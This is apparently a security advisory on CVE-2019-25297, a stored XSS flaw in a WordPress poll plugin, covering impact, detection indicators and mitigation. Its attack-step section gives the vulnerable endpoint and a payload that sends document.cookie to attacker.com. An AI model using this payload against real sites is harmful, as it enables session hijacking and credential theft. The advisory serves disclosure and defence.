CVE-2019-25297: 
WordPress vulnerability analysis and mitigation

CVE-2019-25297 is a stored cross-site scripting (XSS) vulnerability in the Poll, Survey & Quiz Maker Plugin by Opinion Stage for WordPress. It affects all plugin versions prior to 19.6.25 and allows unauthenticated attackers to inject arbitrary scripts into content that executes when a victim views an affected page. The vulnerability was originally disclosed on September 16, 2019, and formally assigned a CVE identifier with NVD publication on January 16, 2026. It carries a CVSS v4.0 base score of 5.1 (Medium), assigned by VulnCheck (WPScan, VulnCheck).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and stems from insufficient input validation and output escaping across multiple plugin parameters (VulnCheck). An unauthenticated attacker can submit malicious script content via affected parameters — for example, by crafting a request to /wp-admin/admin-post.php?page=opinionstage-content-login-callback-page&email=">alert(1) — which is then stored and rendered without sanitization (WPScan). No authentication or special privileges are required to inject the payload; exploitation only requires that a victim subsequently views the affected page.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of any user who views the compromised page, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. Because the payload is stored server-side, a single injection can affect all subsequent visitors to the page, amplifying the potential impact across the entire site's user base (WPScan, Wordfence).

WPScan notes that this vulnerability has been seen actively exploited in the wild, with early reporting from September 2019 suggesting attackers were already targeting it at the time of disclosure (WPScan). A public proof-of-concept is available via WPScan. The EPSS score is approximately 0.054% (0.000540), indicating a relatively low but non-zero probability of exploitation in the near term (Feedly). No specific threat actor attribution or CISA KEV catalog listing has been identified for this CVE.

1. Reconnaissance: Identify WordPress sites running the Poll, Survey & Quiz Maker by OpinionStage plugin (slug: social-polls-by-opinionstage) in versions prior to 19.6.25 using tools like WPScan or by inspecting plugin directories.
2. Craft malicious payload: Prepare a stored XSS payload, such as "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>, to capture session cookies or perform other malicious actions.
3. Inject via vulnerable endpoint: Submit the payload to the vulnerable parameter — for example, the email parameter at /wp-admin/admin-post.php?page=opinionstage-content-login-callback-page&email=<PAYLOAD> — without requiring authentication (WPScan).
4. Wait for victim interaction: The injected script is stored in the database and executes automatically when any user (including administrators) views the affected page.
5. Harvest results: Collect stolen session tokens or credentials from the attacker-controlled server, then use them to hijack authenticated sessions or escalate access on the WordPress site.

• Network: Unusual outbound HTTP requests from the WordPress server or victim browsers to unknown external domains, particularly carrying cookie or credential data in query parameters.
• Logs: WordPress access logs showing POST or GET requests to /wp-admin/admin-post.php with the page=opinionstage-content-login-callback-page parameter containing encoded HTML or JavaScript characters (e.g., %22, %3E, %3Cscript%3E).
• File System / Database: Unexpected JavaScript or HTML tags stored in the plugin's database entries or option values associated with OpinionStage poll/survey content.
• Browser: Users reporting unexpected redirects, pop-ups, or alert dialogs when viewing pages containing OpinionStage polls or surveys.

Update the Poll, Survey & Quiz Maker Plugin by Opinion Stage to version 19.6.25 or later, which includes the fix for this vulnerability (WPScan, WordPress Changeset). If immediate updating is not possible, consider disabling the plugin until the patch can be applied. A Web Application Firewall (WAF) with XSS filtering rules can provide partial mitigation by blocking malicious payloads at the network perimeter.

Wordfence published a threat intelligence entry for this vulnerability, classifying it as unauthenticated stored XSS and including it in their weekly WordPress vulnerability report for January 19–25, 2026 (Wordfence). The original 2019 disclosure by PluginVulnerabilities noted that hackers may have already been targeting the flaw at the time of publication, highlighting the real-world risk even before formal CVE assignment (WPScan). Community discussion was observed on Bluesky and security aggregator platforms following the January 2026 CVE publication.